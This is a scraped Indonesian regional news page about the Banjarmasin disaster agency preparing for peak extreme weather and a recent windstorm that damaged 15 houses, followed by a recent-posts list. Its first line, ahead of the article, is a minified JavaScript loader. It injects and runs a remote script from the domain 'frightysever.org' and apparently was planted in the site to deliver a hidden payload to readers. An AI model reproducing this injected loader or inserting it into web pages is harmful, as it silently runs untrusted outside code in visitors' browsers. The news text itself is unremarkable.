(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Puncak Cuaca Ekstrem, BPBD Kota Banjarmasin Mulai Pasang Badan


KANALKALIMANTAN.COM, BANJARMASIN – Beberapa hari ini Banjarmasin diguyur hujan yang cukup lebat. Berdasarkan analisis dari BMKG Stasiun Meteorologi Kelas II Syamsudin Noor, puncak musim hujan di wilayah Kalsel yaitu di bulan DJF, atau Desember-Januari-Februari.

Kepala Pelaksana BPBD Kota Banjarmasin HM Hilmi saat ditemui di kantornya pada Selasa (11/2/2020) pagi mengatakan, timnya mulai pasang badan dalam menghadapi puncak cuaca ekstrem.

“Kami 24 jam standby, apabila terjadi hujan lebat dan air pasang, kami instruksikan untuk keliling dan kontrol,” kata Hilmi.

Disinggung soal musibah angin puting beliung yang terjadi baru-baru tadi, diakuinya Kota Banjarmasin termasuk jarang terjadinya angin puting beliung. Menurut Hilmi, biasanya angin puting beliung terjadi di area terbuka yang tidak begitu padat penduduk.

“Seperti yang berbatasan dengan Kabupaten Banjar. Sekarang ini malah angin puting beliung masuk ke perkotaan,” ucap Hilmi.

BPBD Kota Banjarmasin pun mengingatkan kepada masyarakat untuk waspada dalam menghadapi puncak cuaca ekstrem yang terjadi di bulan Februari ini. Selain itu, ia juga meminta masyarakat agar tidak bernaung di bawah pohon, karena dikhawatirkan akan tumbang jika diterjang angin kencang.

“Lebih baik hujan-hujanan untuk kembali ke rumah atau bernaung di tempat aman. Karena cuaca kita saat ini cukup ekstrem,” katanya.

Seperti yang diberitakan sebelumnya, musibah angin kencang saat hujan lebat mengguyur Kota Banjarmasin, mengakibatkan sedikitnya 15 buah rumah mengalami kerusakan yang sebagian besar terjadi di Kelurahan Teluk Dalam pada Minggu (9/2/2020) siang. Rumah yang mengalami kerusakan di kelurahan ini tergolong cukup banyak.

“Beberapa rumah mengalami kerusakan di bagian atap dan dinding dan mengakibatkan 15 rumah rusak sedang dengan data jiwa yang dihuni 20 kepala keluarga dan 60 jiwa,” kata Hilmi saat itu. (Kanalkalimantan.com/fikri)

 

 

Reporter : Fikri
Editor : Cell

 


Desy Arfianty

Recent Posts

Chaos Banjarmasin di Atas Kanvas, Tragedi Kelam Jumat Kelabu 23 Mei 1997

“Setiap goresan kuas di lukisan ini, saya terbayang, merasakan terbawa kedalam suasana, di saat kerusuhan… Read More

3 jam ago

Perpisahan Siswa SMAN 1 Kapuas, Erlin Hardi : Belajar, Belajar, dan Belajar!

KANALKALIMANTAN.COM, KUALA KAPUAS - Pendidikan merupakan tolak ukur kemajuan suatu bangsa. Dengan pendidikan yang baik… Read More

4 jam ago

Nilai Posisi Waspada, Pemkab Kapuas Gelar Rakor SPI MCP dan LHKPN

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas melalui Inspektorat melaksanakan rapat koordinasi (Rakor) terkait… Read More

5 jam ago

LITERASI EMOSIONAL DI MEDIA SOSIAL: MENGELOLA EMOSI DAN INTERAKSI ONLINE

"WEBINAR INDONESIA MAKIN CAKAP DIGITAL" WILAYAH KALIMANTAN Read More

6 jam ago

Wabup Banjar Hadiri Haul Ke-68 KH Zainal Ilmi

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi betbaur dengan ribuan orang menghadiri… Read More

7 jam ago

Simulasi Keadaan Darurat di Terminal BBM Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - PT Pertamina Patra Niaga Integrated Terminal Banjarmasin melakukan simulasi keadaan darurat bersama… Read More

17 jam ago

This website uses cookies.